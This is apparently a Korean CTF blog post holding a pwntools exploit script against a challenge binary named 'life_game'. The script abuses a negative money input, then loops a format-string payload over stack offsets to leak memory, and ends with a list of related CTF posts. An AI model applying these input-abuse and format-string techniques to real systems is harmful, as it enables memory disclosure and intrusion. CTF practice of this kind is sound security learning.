exploit.py
from pwn import *
for i in range(0,100):
try:
p = process("./life_game")
p.sendlineafter("6. escape\n-----------------------\n","5")
p.sendlineafter("5. go back\n-----------------------\n","3")
p.sendlineafter("How much?\n","-10000000")
p.sendlineafter("5. go back\n-----------------------\n","5")
p.sendlineafter("6. escape\n-----------------------\n","2")
p.sendlineafter("6. escape\n-----------------------\n","2")
p.sendlineafter("6. escape\n-----------------------\n","2")
p.sendlineafter("6. escape\n-----------------------\n","2")
p.sendlineafter("6. escape\n-----------------------\n","4")
p.sendlineafter("6. escape\n-----------------------\n","5")
p.sendlineafter("5. go back\n-----------------------\n","3")
p.sendlineafter("How much?\n","1000000")
p.sendlineafter("5. go back\n-----------------------\n","5")
p.sendlineafter("6. escape\n-----------------------\n","31337")
p.sendlineafter("The last one\n","%"+str(i)+"$s")
print p.recv()
p.close()
except:
"fail"
p.close()
'System > Pwnable Practice' 카테고리의 다른 글
TUCTF CTF 2018 Ehh (0) | 2019.08.09 |
---|---|
Plaid CTF 2015 ebp (0) | 2019.08.06 |
Pico CTF 2018 echooo (0) | 2019.08.04 |
Layer7 CTF 2018 Talmoru_party!~ (0) | 2019.08.02 |
Defcon CTF 2019 Speedrun 1,2 (0) | 2019.08.01 |